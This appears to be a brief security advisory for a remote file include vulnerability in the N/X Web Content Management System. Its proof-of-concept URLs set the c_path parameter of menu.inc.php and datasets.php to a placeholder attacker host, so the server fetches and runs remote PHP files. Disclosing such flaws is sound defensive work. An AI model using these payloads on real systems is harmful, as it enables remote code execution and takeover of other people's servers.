|
N/X Web Content Management System Remote File Include Vulnerability
The following proof of concept was provided: http://[target]/nx/common/cds/menu.inc.php?c_path=http://[attacker]/ with : http://[attacker]/common/lib/launch.inc.php http://[target]/nx/common/dbo/datasets.php?c_path=http://[attacker]/ with : http://[attacker]/common/dbo/saveset.php http://[attacker]/common/dbo/recordset.php http://[attacker]/common/dbo/deleteset.php http://[attacker]/common/dbo/updateset.php http://[attacker]/common/dbo/insertset.php |
|
|
Privacy Statement |
